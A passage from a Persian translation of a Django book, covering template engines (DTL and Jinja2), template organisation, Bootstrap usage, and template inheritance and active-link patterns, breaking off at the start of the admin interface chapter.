تمپلیت مانند include و block نیز باید به همین صورت نوشته شوند. \n\nدر شل پایتون:\n\n```shell\n>>> if 1==1:\n... print(\" Date is {0} \".format(time.strftime(\"%d-%m-%Y\")))\nDate is 30-05-2018\n```\n\nدر ادامه، همین عبارت را در شکل تمپلیت جنگو می‌بینید:\n\n`{% if 1 == 1 %} Date is {% now 'd-m-Y' %} {% endif %}`\n\n**فلسفه - یک زبان برنامه‌نویسی اختراع نکنید**\n\nیک سوال رایج بین تازه‌کارها این است که چطور محاسبات عددی مانند پیدا کردن درصد‌ها را در تمپلیت انجام دهیم. بر اساس فلسفه طراحی، سیستم تمپلیت عمداً اجازه انجام این موارد را نمی‌دهد: \n\n- نسبت دادن مقدار به متغیرها \n- صدا زدن فانکشن‌ها به همراه آرگومان\n- به‌کارگیری منطق‌های پیشرفته\n\nاین تصمیم گرفته شده تا اجازه ندهد منطق‌های کسب‌ و کار را در تمپلیت قراردهید. بر اساس تجربه من با PHP یا زبان‌های مشابه ASP، ترکیب منطق با سیستم ارائه، می‌تواند یک کابوس جدی برای نگهداری کد باشد. با اینحال شما می‌توانید تگ‌های اختصاصی را (که به زودی به آن می‌پردازیم) برای انجام هر نوع محاسبه‌ای، مخصوصاً اگر مربوط به ارائه باشد، بنویسید.\n\n**بهترین روش**\n\nمنطق کار را از تمپلیت دور نگه دارید.\n\nفارغ از این توصیه، برخی ممکن است موتور تمپلیت کمی قوی‌تری را ترجیح بدهند. در اینصورت Jinja2 احتمالاً همان چیزی است که نیاز دارید. \n\n## جینجا ۲\n\nجینجا ۲ از نظر نگارش بسیار شبیه به DTL است. اما در بعضی موارد، فلسفه کمی متفاوتی دارد. برای مثال، در DTL صداکردن متدها مانند مثال‌های زیر است:\n\n```\n{% for post in user.public\\_posts %}\n...\n{% endfor %}\n```\n\nاما در جینجا ۲، ما فراخوانی متد public_posts را مانند فراخوانی تابع پایتونی انجام می‌دهیم:\n\n```\n{% for post in user.public\\_posts() %}\n...\n{% endfor %}\n\n```\n\nاین به آن معنی است که در جینجا ۲ بر خلاف DTL می‌توانید توابع را با آرگومان فراخوانی کنید. برای دیدن چنین تفاوت‌های ظریفی به [مستندات Jinja2](http://jinja2.pocoo.org/) مراجعه کنید.\n\nجینجا ۲ معمولاً به دلایل زیر انتخاب می‌شود:\n\n- **آشنایی**: ممکن است طراح شما از قبل با جینجا ۲ آشنا باشد.\n- **کنترل فضای خالی**: جینجا ۲ کنترل بهتری روی فضاهای خالی بعد از رندر شدن تگ‌ها دارد.\n- **قابلیت سفارشی سازی**: تمام جنبه‌های جینجا ۲ از تعریف مارک‌اپ برای رشته‌ها تا تعریف اکستنشن‌ها به سادگی قابل انجام است.\n- **عملکرد**: بعضی بررسی‌ها نشان می‌دهد که جینجا ۲ از جنگو سریع‌تر است.\n- **قابلیت Autoescape**: به صورت پیش‌فرض جینجا ۲ برای عملکرد بهتر، قابلیت Autoescape را در XML/HTML غیرفعال می‌کند.\n\nدر اکثر موارد، این مزایا فقط برای استفاده از جینجا ۲ نیست، بلکه می‌تواند دلیل خوبی برای استفاده از سایر موتورهای تمپلیت مانند Mako و Genshi باشد.\n\nآشنایی با DTL منحنی یادگیری را برای هر فرد جدیدی که به پروژه شما وارد شود، کاهش می‌دهد. علاوه بر این DTL، هم خوب به کارگرفته شده و هم خوب تست شده است. در نهایت ممکن است لازم باشد تگ‌های تمپلیت جنگو مانند url یا static را در موتور تمپلیت جدید به همان شکل تمپلیت جنگو، تکرار کنید. \n\nتا زمانی که دلیل خوبی برای تغییر زبان تمپلیت ندارید، پیشنهاد می‌کنم که با همان زبان تمپلیت جنگو پیش بروید. در ادامه این بخش ما از DTL استفاده می‌کنیم.\n\n## سازماندهی تمپلیت‌ها\n\nترکیب‌بندی اولیه پروژه که به کمک دستور startproject انجام می‌شود، محلی برای تمپلیت‌های شما تعریف نمی‌کند. اما این کار بسیار راحتی است.\n\nیک دایرکتوری به نام templates در پوشه اصلی پروژه بسازید. مقدار DIRS را در متغیرهای TEMPLATES در فایل settings.py تعیین کنید (فایل تنظیمات در آدرس superbook/settings/base.py در پروژه سوپربوک  قابل دیدن است):\n\n```python\n\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n\nTEMPLATES = [\n{\n        'BACKEND': 'django.template.backends.django.DjangoTemplates',\n        'DIRS': [os.path.join(BASE_DIR, 'templates')],\n        'APP_DIRS': True,\n        'OPTIONS': {\n          'context_processors': [\n              'django.template.context_processors.debug',\n              'django.template.context_processors.request',\n              'django.contrib.auth.context_processors.auth',\n              'django.contrib.messages.context_processors.messages',\n             ],\n        },\n     },\n  ]\n```\n\nهمین، حالا برای مثال می‌توانید یک تمپلیت به نام about.html بسازید و مانند زیر، از طریق فایل urls.py به آن ارجاع دهید:\n\nurlpatterns = [\n\n` path('about/', TemplateView.as_view(template_name='about.html'), name='about'),`\n\nاگر مقدار APP_DIRS برابر با True باشد، تمپلیت‌های شما می‌توانند درون پوشه اپ شما قرار داشته باشند. ساخت یک دایرکتوری جداگانه برای تمپلیت‌ها روش ایده‌آلی برای نگهداری تمپلیت‌های هر اپ است.\n\nدر اینجا چند روش ارائه شده که روش‌های خوبی برای سازماندهی تمپلیت‌هاست:\n\n- تمپلیت‌های هر اپ را در دایرکتوری تمپلیت‌ها و در یک دایرکتوری جدا نگه دارید. مثلاً projroot/app/templates/app/template.html، توجه داشته باشید که app دوبار در آدرس دیده می‌شود.\n- از پسوند .html برای تمپلیت‌ها استفاده کنید.\n- برای تمپلیت‌هایی که تکه کدهایی هستند که درون سایر تمپلیت‌ها استفاده می‌شوند از پیشوند _ استفاده کنید، مانند \\_navbar.html\n\nترتیب معرفی دایرکتوری‌های تمپلیت اهمیت زیادی دارد. برای فهم بهتر آن، نیاز است که بدانید جنگو چطور تمپلیت‌ها را رندر می‌کند.\n\n## تمپلیت‌ها چگونه کار می‌کنند\n\nهمانطور که نمودار زیر نشان می‌دهد، جنگو تمپلیت‌ها را بدون آگاهی از موتور واقعی تمپلیت، رندر می‌کند:\n\n![تصویر ساده شده رندر تمپلیت در جنگو](/05-%20Templates/images/image-000.jpg)\n\nتصویرسازی ساده از رندر تمپلیت در جنگو\n\nهر تمپلیت به ترتیب با بک‌اند تمپلیت‌هایی که در متغیرهای TEMPLATES در فایل settings.py تعریف شده است، امتحان می‌شود.\n\nیک شئ **Loader** مربوط به بک‌اند تمام تمپلیت‌ها را جستجو خواهد کرد. بر اساس تنظیمات بک‌اند، لودکننده‌های مختلفی استفاده می‌شوند. برای مثال filesystem.Loader، تمپلیت‌های فایل سیستم را بر اساس DIRS، لود می‌کند و app_directories.Loader تمپلیت‌های درون پوشه اپ‌ها را لود می‌کند.\n\nاگر یک **Loader** موفق باشد، جستجو قطع می‌شود و همان موتور بک‌اند تمپلیت، برای رندر کردن انتخاب می‌شود. نتیجه این کار یک شئ **Template** خواهد بود که شامل تمپلیت تجزیه شده و کامپایل شده است. \n\nبر ای رندر کردن **Template** باید آن را با یک شئ **Context** آماده کنید. **Context** دقیقاً مانند یک دیکشنری عمل می‌کند، اما مانند دسته‌ای از دیکشنری‌ها ساخته شده است. اگر یک **Template** شامل تعدادی متغیر باشد، **Context** مقادیری است که به این متغیرها نسبت داده می‌شود.\n \nهنگامی که از **Context** های جنگو استفاده می‌کنید می‌بایست با RequestContext بیشتر آشنا شوید که زیرکلاسی از **Context** است. یک RequestContext با اجرای پردازشگر زمینه تمپلیت، زمینه‌های (context) بیشتری را به تمپلیت اضافه می‌کند. جینجا ۲ به پردازشگر زمینه نیاز ندارد چرا که از فراخوانی فانکشن به طور مستقیم، پشتیبانی می‌کند.\n\nدر نهایت، روش رندر کردن **Template**، یک زمینه را دریافت می‌کند و خروجی را رندر می‌کند. خروجی می‌تواند HTML، ایمیل ، CSS، XML یا هر خروجی متنی باشد.\n\nاگر شما ترتیب جستجو کردن تمپلیت‌ها را متوجه شوید، می‌توانید با توجه به اهداف خود، تمپلیت‌های لود شده را بازنویسی کنید. در زیر چند سناریو وجود دارد که می‌تواند مفید باشد:\n\n- بازنویسی یک تمپلیت از اپ شخص ثالث با تمپلیت‌های تعریف شده در پروژه خودتان\n- از جینجا ۲ برای بخش‌هایی که عملکرد در آن‌ها مطرح است استفاده کنید و برای سایر بخش‌ها از DTL استفاده کنید\n\nحالت اول به حاطر استفاده از فریمورک‌هایی مانند بوتسترپ، وضعیت رایجی است.\n\n**مادام O**\n\nبرای اولین بار بعد از چند هفته، دفتر استیو در گوشه سالن پر از جنب و جوش بود. با استخدام‌های جدید، تیم پنج‌ نفره متشکل از برَد،‌ اِوان، جیکوب، سو و استیو است. مانند یک تیم ابرقهرمانی، توانایی‌های آن‌ها به طرز شگفت‌انگیزی متعادل است.\n\nبرد و اوان، کدنویسی می‌کنند. در حالی که اوان روی جزییات متمرکز است برد مسول کنترل دورنمای کارهاست. جیکوب با توانایی بررسی گوشه‌ و کنارها، فرد مناسبی برای تست کردن است. سو مسؤولیت بازاریابی و طراحی را بر عهده دارد.\n\nدر واقع، کل طراحی قرار بود توسط یک آژانس طراحی آوانگارد انجام شود. نزدیک دو ماه طول کشید تا یک طرح اولیه پر رنگ و لعاب که مورد علاقه مدیریت بود آماده شود. دو هفته دیگر هم طول کشید تا یک ماکت HTML از طراحی فوتوشاپی تهیه شود. با اینحال همانطور که انتظار می‌رفت به خاطر کند و دست و پاگیر بودن در موبایل‌ها، این طراحی کنار گذاشته شد.\n\nاستیو از شکست طرحی، که الان به طور گسترده طرح **استفراغ تک شاخ** نامیده می‌شد، ناامید شده بود. هارت با او تماس گرفته بود و از عدم پیشرفت پروژه برای گزارش دادن به مدیریت، نگران بود.\n\nهارت با لحنی تلخ به استیو یادآوری کرد «ما زمان‌های ذخیره پروژه را مصرف کرده‌ایم. دیگر نمی‌توانیم منتظر شگفتی‌های لحظه آخر باشیم».\n\nهمین موقع بود که سو،‌ که به طرز غیر منتظره‌ای ساکت بود گفت به کمک بوتسترپ توییتر،‌ روی یک ماکت پروژه کار می‌کرده است. سو یک هکر توسعه بود، یک کدنویس مشتاق و بازاریابی خلاق. \n\nاو اعتراف کرد که فقط مهارت‌های ابتدایی HTML را دارد. با این‌حال ماکت او به طرز شگفت‌انگیزی کامل و برای کاربران سایر شبکه‌های اجتماعی معاصر، آشنا به نظر می‌رسید. از همه مهم‌تر، طراحی او ریسپانسیو بود و روی هر دستگاه موبایل یا تبلت به درستی کار می‌کرد. \n\nهمه مدیران به غیر از شخصی به نام مادام O، به اتفاق با طرح سو موافقت کردند. یک روز جمعه بعد از ظهر، او به سرعت کنار میز سو آمد و در مورد همه چیز شروع به سؤال کردن کرد. از رنگ پسزمینه تا سایز کرسر موس. سو سعی کرد با متانت و آرامش قابل توجهی همه چیز را توضیح دهد.\n\nیک ساعت بعد، وقتی استیو تصمیم گرفت که مداخله کند، مادام O داشت می‌پرسید که چرا تصویر پروفایل باید در یک دایره باشد به جای آنکه مربع باشد. استیو جواب داد «چنین تغییر گسترده‌ای در سراسر سایت به هیچ وجه در زمان مورد نظر تمام نمی‌شود». مادام O نگاهش را به سمت او برد و لبخند حیله‌گرانه‌ای زد. ناگهان استیو موجی از شادی و امید را حس کرد. به شدت احساس آرامش می‌کرد و هیجان‌زده بود. صدای خودش را شنید که با خوشحالی با تمام درخواست‌های مادام O موافقت می‌کند.\n\nبعدها استیو یادگرفت که مادام Optimism یک ذهن‌گرای کوچک است که می‌تواند بر ذهن‌های مستعد تاثیر بگذارد. تیم او دوست داشت که در هر موقعیتی این موضوع را پیش بکشد.\n\n## استفاده از بوتسترپ\n\nاین‌روزها به ندرت کسی تمام یک وب‌سایت را از ابتدا طراحی می‌کند. فریمورک‌های CSS مانند Twitter's Bootstrap یا Zurb's Foundation با امکاناتی مانند سیستم گرید،‌ تایپوگرافی عالی و استایل‌های از قبل آماده شده، نقطه شروع آسانی هستند. اکثر آن‌ها از طراحی وب ریسپانسیو استفاده می‌کنند که باعث می‌شود سایت شما برای موبایل‌‌ها مناسب باشد.\n\n![ یک وب‌سایت که از بوتسترپ ورژن 3.3 تغییریافته و با استفاده از اسکلت‌بندی پروژه Edge طراحی شده است](/05-%20Templates/images/image-001.png)\n\n یک وب‌سایت که از بوتسترپ ورژن 3.3 تغییریافته و با استفاده از اسکلت‌بندی پروژه Edge طراحی شده است\n\nما از بوتسترپ استفاده خواهیم کرد اما روش کار برای سایر فریمورک‌های CSS هم شبیه به همین است. سه راه مختلف برای به‌کارگیری بوتسترپ در پروژه وجود دارد:\n\n- ** یک اسکلت‌بندی پروژه پیدا کنید**: اگر هنوز پروژه را شروع نکرده‌اید پس بهتر است یک اسکلت‌بندی پروژه که بوتسترپ هم داشته باشد پیدا کنید. یک اسکلت‌بندی پروژه مانند Edge (که واقعاً توسط شما ساخته شده) می‌تواند به عنوان ساختار اولیه در هنگام ساخت پروژه استفاده شود،‌ مانند زیر:\n\n`$ django-admin.py startproject -- template=https://github.com/arocks/edge/archive/master.zip -- extension=py,md,html myproj`\n\nهمچنین می‌توانید از یکی از تمپلیت‌های cookiecutter که دارای پشتیبانی بوتسترپ هستند استفاده کنید.\n\n- **استفاده از پکیج**: اگر پروژه خود را شروع کرده‌اید، آسان‌ترین گزینه استفاده از یک پکیج مانند [django-bootstrap4](https://github.com/zostera/django-bootstrap4) است. \n- **کپی کردن دستی**: هیچ‌کدام از گزینه‌های قبلی تضمین نمی‌کند که نسخه بوتسترپ آن‌‌ها، آخرین نسخه منتشر شده باشد. نسخه‌های بوتسترپ چنان با سرعت منتشر می‌شوند که نویسندگان پکیج‌ها کار بسیار سختی برای به‌روز نگه‌داشتن بوتسترپ مورد استفاده در پکیج‌ها دارند. بنابراین، اگر می خواهید با آخرین نسخه بوتسترپ کار کنید، بهترین گزینه آن است که خودتان آن را از [http://getbootstrap.com](http://getbootstrap.com) دانلود کنید. مطمئن شوید که یادداشت‌های مربوط به انتشار نسخه را خوانده باشید تا ببینید که آیا نیاز است برای هماهنگی با نسخه جدید، تغییراتی در کد خود بدهید یا نه. پوشه‌ dist را که شامل css، js و پوشه فونت‌ها است، در پوشه static که درون پوشه اصلی پروژه است کپی کنید. مطمئن شوید که مسیر این پوشه در متغیر STATICFILES_DIRS در فایل settings.py تعریف شده باشد:\n\n`STATICFILES_DIRS = [os.path.join(BASE\\_DIR, \"static\")]`\n\nاکنون می‌توانید بخش‌های بوتسترپ را به شکل زیر در پروژه خود اضافه کنید:\n```html\n{% load staticfiles %}\n<head>\n<link href=\"{% static 'css/bootstrap.min.css' %}\" rel=\"stylesheet\">\n```\n\n**اما همه آن‌‌ها شبیه هم هستند!**\n\nبوتسترپ ممکن است برای شروع سریع، فوق‌العاده باشد. با این‌حال بعضی‌ مواقع توسعه‌دهنده‌ها تنبل می‌شوند و حوصله ندارند که ظاهر پیش‌فرض آن را تغییر دهند. این کار باعث می شود که سایت تاثیر ضعیفی بر کاربران شما بگذارد و باعث شود آن‌ها ظاهر سایت را زیادی آشنا و غیر جذاب بدانند.\n\nنسخه [Bootstrap 4](https://getbootstrap.com/docs/4.0/) به همراه ویژگی‌هایی متشر شده است که جذابیت ظاهری را افزایش داده است. شما می‌توانید یک فایل custom.scss بسازید و همه چیز را مانند رنگ‌بندی و  نقاط شکست‌ گریدها را شخصی‌سازی کنید. مستندات این نسخه شرح داده است که چطور می‌توانید این فایل‌ها را کامپایل و تبدیل به استایل‌شیت کنید.\n\nبا تشکر از جامعه توسعه‌دهندگان اطراف بوتسترپ، وب‌سایت‌های بسیار زیادی مانند [bootswatch.com](https://bootswatch.com/) وجود دارد که استایل‌شیت‌های آماده‌ای دارند که فقط کافی است فایل bootstrap.min.css را در پروژه خود جایگزین کنید.\n\nآخرین نکته، شما می‌توانید کلاس‌های CSS خود را به کمک تغییر دادن نام کلاس‌هایی مانند row یا col-lg-9 با تگ‌های معنایی مانند main یا article، با معناتر کنید. این کار را می‌توانید با چند خط کد SASS و توسعه دادن کلاس‌های بوتسترپ به شکل زیر انجام دهید:\n\n```\n@import \"bootstrap\";\n\nbody > main { @extend .row;`\n\narticle { @extend .col-lg-9; } }\n```\n\nاین کار به کمک ویژگی به نام میکسین (به نظر آشنا نمی‌آید؟) امکان‌پذیر می‌شود. به کمک فایل‌های اصلی SASS، بوتسترپ می‌تواند به صورت کامل برای نیازهای شما، شخصی‌سازی شود.\n\n**جایگزین‌های سبک‌**\n\nمرورگرهای قدیمی در مورد اجرا کردن CSS بسیار غیر یکسان عمل می‌کردند. آن‌ها نه تنها پیشوندهای مخصوص تأمین‌کننده مانند -WebKit-transition را داشتند بلکه ویژگی‌های مخصوص به خود را هم داشتند. مروگرهای جدیدتر، استانداردهای مدرن را بهتر دنبال می‌کنند.\n\nحالا ما علاوه بر این صفحه‌بندی‌های قدرتمندی مانند flexbox را داریم که پیچیدگی کد را کمتر می‌کند. تمام این‌ها باعث بوجود آمدن فریموک‌های سبک CSS شده است.\n\nبرای مثال، [Pure.css ](https://purecss.io/) به صورت minify شده و gzip شده ولی باویژ‌گی‌های قابل قبول، فقط ۳.۸ کیلوبایت است. مشابه آن [mini.css](https://minicss.org/) با تمرکز بر  دستگاه‌های موبایل و مرورگرهای مدرن طراحی شده و به صورت gzip، زیر ۷ کیلوبایت است. برای مقایسه بوتسترپ با تمام ماژول‌ها و به صورت gzip شده، ۲۵ کیلوبایت است.\n\nبا اینکه این فریمورک‌های سبک می‌تواند سرعت لود شدن اولیه را بهبود بدهند مطمئن باشید که با تمام مرورگرهایی که ممکن است کاربران شما از آن استفاده کنند، این‌ها را تست کنید. ابزارهایی مانند [CanIUse.com ](https://caniuse.com/) می‌تواند با نشان دادن این‌که کدام ویژگی در کدام مرورگر و پلتفرم پشتیبانی می‌شود یا نه،‌ کمک خوبی باشد. بوتسترپ، با طیف وسیع مشتریانش، تقریباً در پشتیبانی از نسخه‌‌های قدیمی‌تر خود، خوب است.\n\n## الگوهای تمپلیت\n\nزبان تمپلیت جنگو بسیار ساده است. با اینحال شما با پیروی از چند الگوی طراحی زیبا، می‌توانید در زمان، به خوبی صرفه‌جویی کنید. بیایید به تعدادی از آن‌‌ها نگاهی بکنیم. \n\n** الگو — درخت وراثت تمپلیت**\n\n**مشکل**: تمپلیت به تعداد زیادی markup در صفحه‌های مختلف نیاز دارد. \n\n**راه حل**: هرجا که ممکن است از الگوی وراثت استفاده کنید و تکه کدهای مورد نظر را include کنید.\n\n**جزییات مشکل**\n\nکاربرها نیاز دارند که صفحات وب‌سایت از یک الگوی یک‌سان پیروی کند. برخی عناصر مانند منوی دسترسی، هدر و فوتر در تمام اپلیکیشن ها دیده می‌شوند و تکرار آن‌ها در هر صفحه، دست و پا گیر خواهد بود.\n\nاکثر زبان‌های تمپلیت، یک مکانیزم include دارند. محتوای یک فایل دیگر، معمولاً یک تمپلیت، در محلی درون فایل تمپلیت دیگری فراخوانی می‌شود و در آن‌جا اضافه می‌شود. این موضوع می‌تواند در یک پروژه بزرگ خسته کننده باشد.\n\nتوالی قطعاتی که در یک تمپلیت فراخوانی می‌شوند معمولاً یک‌سان است. ترتیب فراخوانی بسیار مهم است و کنترل کردن آن برای یافتن خطاها دشوار است. به صورت ایده‌آل، ما باید بتوانیم یک ساختار پایه‌ای درست کنیم. صفحه‌های جدید باید به این ساختار پایه اضافه شوند و فقط تغییرات یا اضافات را در آن اعمال کنند.\n\n**جزییات راه حل**\n\nتمپلیت‌های جنگو، یک مکانیزم توسعه قوی دارند. شبیه به ساختار کلاس‌ها در زبان‌های برنامه‌نویسی، یک تمپلیت می‌تواند از طریق وراثت، توسعه داده شود. اما برای اینکه این روش استفاده شود باید فایل پایه دارای ساختار بلوکی مانند زیر باشد.\n\n![تمپلیت ماژولار پایه می‌تواند توسط صفحات دیگر توسعه داده شود و ترکیب‌بندی یکسان و منعطفی را ایجاد کند.](/05-%20Templates/images/image-002.png)\n\nتمپلیت ماژولار پایه می‌تواند توسط صفحات دیگر توسعه داده شود و ترکیب‌بندی یکسان و منعطفی را ایجاد کند.\n\n فایل base.html  به طور مرسوم، ساختار پایه برای کل سایت است. این تمپلیت معمولاً به صورت یک HTML خوش‌فرم (یعنی با یک مقدمه و با باز و بسته شدن تگ‌های HTML) ساختاربندی شده و با چندین placeholder که به صورت تگ‌های {% block tags %} نمایش داده می‌شوند پر شده است. برای مثال، یک فایل base.html ساده شبیه به نمونه زیر خواهد بود:\n\n```html\n<html>\n\n<body>\n\n<h1>{% block heading %}Untitled{% endblock %}</h1> {% block content %}\n\n{% endblock %}\n\n</body>\n\n</html>\n```\n\nدر اینجا دو بلوک داریم؛ heading و content که می‌توانند در فایل‌های دیگر بازنویسی شوند. شما می‌توانید صفحه‌های خاصی بسازید که این بلوک‌ها را بازنویسی کنند و صفحه پایه را توسعه دهند. برای مثال در اینجا یک صفحه About داریم:\n\n```html\n{% extends \"base.html\" %}\n\n{% block content %}\n\n<p> This is a simple About page </p> {% endblock %}\n\n{% block heading %}About{% endblock %}\n```\n\nمجبور نیستیم ساختار پایه را هر بار تکرار کنیم. همچنین می‌توانیم بلوک‌ها را به هر ترتیبی که می‌خواهیم بنویسیم. نتیجه رندر شده نهایی، هر بلوک را در جای صحیح خود که در فایل base.html مشخص شده، قرار خواهد داد.\n\nاگر ساختار وراثتی تمپلیت، یک بلوک را بازنویسی نکرده باشد، محتوای موجود در والد، استفاده خواهد شد. در مثال قبل اگر بلوک heading بازنویسی نشود، هدینگ موجود در والد که **Untitled** است، استفاده خواهد شد. شما می‌توانید به طور مشخص از محتوای تمپلیت والد، با استفاده از {{ block.super }}، بهره ببرید. این روش برای مواقعی خوب است که می‌خواهید به محتوای والد چیزی را اضافه کنید.\n\nیک تمپلیت که از الگوی وراثت استفاده می‌کند می‌تواند دوباره به ارث برده شود و زنجیره ارث‌بری را ایجاد کند. این الگو می‌تواند باعث ایجاد چندین فایل پایه با ترکیب‌بندی‌های مختلف شود مثلاً یک الگوی صفحه تک ستونی درست کرد یا یک تمپلیت پایه هم برای section های مختلف مانند صفحه وبلاگ سایت درست کرد. \n\nمعمولاً تمام‌زنجیرهای وراثت، به فایل base.html می‌رسند برای همین به آن الگوی _درخت وراثت تمپلیت_ گفته می‌شود. البته لازم نیست همه‌جا از این الگو استفاده کرد. صفحات خطای **404.html** و **500.html** معمولاً به ارث نمی‌رسند و برای جلوگیری از خطاهای بیشتر اکثر تگ‌های تمپلیت در آن‌ها حذف می‌شود. \n\nراه دیگر رسیدن به این هدف ممکن است استفاده از پردازشگر زمینه باشد. شما می‌توانید یک پردازشگر زمینه درست کنید که یک متغیر زمینه را برای تمام تمپلیت‌های شما به صورت عمومی قابل استفاده کند. ولی این‌کار برای بخش‌هایی مانند سایدبار توصیه نمی‌شود چرا که با خارج کردن ارائه محتوا از لایه تمپلیت، قاعده تفکیک لایه‌ها (جدا بودن منطق برنامه از نمایش محتوا) را نقض می‌کند. \n\n**الگو —لینک‌ فعال**\n\n**مشکل**: منوی دسترسی یک جزء تکراری در اکثر صفحه‌هاست. با اینحال، لینک فعال باید نشان دهد که کاربر در کدام صفحه است.\n\n**راه حل‌‌**: با مشروط کردن لینک فعال به کمک تعریف متغیرهای زمینه یا بر اساس مسیر درخواست شده\n\n**جزییات مشکل**\n\nراه ساده به کارگیری لینک فعال در منوی دسترسی، تنظیم دستی آن در هر صفحه است که نه ضد اشتباه است و نه بر اساس قوانین DRY (خودت رو تکرار نکن). \n\n**جزییات راه حل**\n\nراه حل‌های زیادی به غیر از روش‌های مبتنی بر جاوااسکریپت، وجود دارد که لینک فعال ایجاد کند. این راه حل‌ها می‌تواند در دو گروه بر مبنای تمپلیت و بر مبنای تگ اختصاصی، تقسیم شوند.\n\n**راه حل بر مبنای تمپلیت**\n\nبا تعریف کردن متغیر active_link هنگام include کردن تکه کد مربوط به منوی دسترسی. این راه حل هم ساده است و هم به راحتی پیاده‌سازی می‌شود.\n\nدر هر تمپلیت لازم است این تکه کد را اضافه کنید (یا آن را به ارث ببرید):\n\n{% include \"\\_navbar.html\" with active\\_link='link2' %}\n\nفایل  \\_navbar.html شامل یک منوی دسترسی با تعدادی متغیر برای تعریف لینک‌های فعال است:\n\n```html \n{# \\_navbar.html #}\n\n<ul class=\"nav nav-pills\">\n\n` `<li{% if active\\_link == \"link1\" %} class=\"active\"{% endif %}><a href=\"{% url 'link1' %}\">Link 1</a></li>\n\n` `<li{% if active\\_link == \"link2\" %} class=\"active\"{% endif %}><a href=\"{% url 'link2' %}\">Link 2</a></li>\n\n` `<li{% if active\\_link == \"link3\" %} class=\"active\"{% endif %}><a href=\"{% url 'link3' %}\">Link 3</a></li>\n\n</ul>\n```\n\n**تگ‌های اختصاصی**\n\nتمپلیت‌های جنگو، مجموعه‌ همه‌کاره‌ای از تگ‌های داخلی را ارائه می‌کنند. بسیار ساده است که تگ اختصاصی خود را بنویسید. با توجه به اینکه هر تگ اختصاصی درون یک اپ تعریف می‌شود یک پوشه templatetags درون اپ بسازید. این پوشه باید یک پکیج باشد در نتیجه باید یک فایل خالی به نام \\_\\_init\\_\\_.py داشته باشد. سپس تگ اختصاصی خود را در یک فایل پایتون بنویسید. برای مثال برای این الگوی لینک فعال، ما می‌توانیم یک فایل به نام nav.py، با محتویات زیر بسازید:\n\n\\# app/templatetags/nav.py\n```python\nfrom django.core.urlresolvers import resolve from django.template import Library\n\nregister = Library()\n\n@register.simple_tag\n\ndef active_nav(request, url):\n    url_name = resolve(request.path).url_name \n    if url_name == url:\n      return \"active\"\n    return \"\"\n```\nاین فایل یک تگ اختصاصی به نام active\\_nav درست می‌کند. این فانکشن یک مسیر URL را از آرگومان ریکوئست می‌گیرد (مثلاً /about/، برای توضیحات بیشتر در مورد مسیرهای URL، بخش ۴: _ویوها و URLها_  را ببینید ). سپس از فانکشن resolve() استفاده می‌شود تا نام-الگوهای URL (در فایل urls.py) بر اساس آرگومان ورودی جستجو شود. در نهایت، رشته \"active\" در صورتی بازگردانده می‌شود که نام-الگو با نام-الگو مورد نظر یکی باشد.\n\nنحوه صدا زدن این تگ اختصاصی در تمپلیت به شکل {% active\\_nav request 'pattern\\_name' %} است. توجه داشته باشید که ریکوئست باید به هر صفحه‌ای که از این تگ استفاده شده، ارجاع داده شود.\n\nاستفاده از یک تگ در تعداد زیادی صفحه می‌تواند سنگین باشد. برای همین ما یک پردازشگر زمینه داخلی به نام TEMPLATE_CONTEXT_PROCESSORS در فایل settings.py اضافه می‌کنیم. در نتیجه ریکوئست، در متغیرهای ریکوئست، در کل سایت قابل دسترس خواهد بود. مانند زیر:\n\n\\# settings.py\n```\n[\n\n'django.core.context_processors.request',\n\n]\n```\n\nحالا تنها کاری که باقی مانده این است که از این تگ اختصاصی در تمپلیت‌ها جهت تعیین لینک فعال استفاده کنید:\n\n{# base.html #}\n\n{% load nav %}\n\n```html \n<ul class=\"nav nav-pills\">\n\n<li class={% active\\_nav request 'active1' %}><a href=\"{% url 'active1' %}\">Active 1</a></li>\n\n<li class={% active\\_nav request 'active2' %}><a href=\"{% url 'active2' %}\">Active 2</a></li>\n\n<li class={% active\\_nav request 'active3' %}><a href=\"{% url 'active3' %}\">Active 3</a></li>\n\n</ul>\n```\n\n## خلاصه\n\nدر این بخش، ما به ویژگی‌های تمپلیت‌های جنگو نگاه کردیم. هرچند که تغییر دادن ربان تمپلیت جنگو ساده است اما بسیاری از افراد در مورد تغییر دادن آن احتیاط می‌کنند. با این‌حال مهم است که فلسفه طراحی زبان تمپلیت جنگو را قبل از آنکه آن را با نمونه‌های جایگزین تغییر دهیم، بدانیم.\n\nدر بخش بعد به یکی از ویژگی‌های بسیار جذاب جنگو، یعنی بخش ادمین و نحوه عملکرد و تغییر آن نگاه می‌کنیم.\n"
  },
  {
    "path": "06-AdminInterface/README.md",
    "content": "<div dir='rtl'>\n<h1>فصل ۶ - رابط کاربری ادمین</h1>\nدر این بخش، موضوعات زیر را بررسی خواهیم کرد:\n\n* شخصی سازی بخش ادمین\n* بهینه سازی مدل ها در قسمت ادمین\n* عرف و تنظیمات متداول برای ادمین\n* تغییر ویژگی ها\n\nویژگی برجسته جنگو، رابط کاربری ادمین است،که برگ برنده آن در رقابت است. این بخش یک برنامه داخلی(built-in) بوده که به صورت خودکار یک رابط کاربری را برای افزودن یا ویرایش محتوای وبسایت، تولید می کند.برای خیلی از کاربران،بخش ادمین یک برنامه نجات دهنده است؛ که عملیات خسته کننده ی ساخت یک رابط کاربری برای ادمین و مدل های داخل پروژه را به دوش می کشد.\n\nبخش ادمین این امکان را برای تیم شما فراهم می کند که به صورت همزمان محتوا را افزوده و توسعه کد را ادامه دهید. زمانی که مدل های شما آماده باشند و انتقال آن ها(migrations) صورت گیرد، تنها نیاز است تا یک یا دو خط کد به برنامه افزوده شود تا مدل شما به رابط کاربری ادمین اضافه گردد. نحوه انجام این عملیات را در ادامه خواهیم دید.\n\n### استفاده از رابط کاربری ادمین\n\nدر یک پروژه ی جدید، رابط کاربری ادمین به صورت پیش فرض فعال شده است. پس از راه اندازی سرور توسعه برنامه، شما می توانید یک صفحه ورود به رابط ادمین را در آدرس  http://127.0.0.1:8000/admin مشاهده کنید.\n\nاگر مشخصات ادمین سایت را(superuser) تعریف کرده باشید( یا مشخصات هر کاربر دیگر - شامل نام کاربری و رمز عبور و...)، می توانید همانطور که در تصویر دیده می شود، به رابط ادمین وارد شوید.\n\n![رابط کاربری ادمین در جنگو برای یک پروژه جدید](https://raw.githubusercontent.com/ftg-iran/ddpabp-persian/main/06-%20Admin%20Interface/images/image-000.png \"اسکرین شات از رابط کاربری ادمین در جنگو برای یک پروژه جدید\")\n\nتصویری از رابط کاربری ادمین در جنگو برای یک پروژه جدید\n\nاگر قبلا از جنگو استفاده کرده اید،متوجه خواهید شد که ظاهر رابط ادمین بهتر از 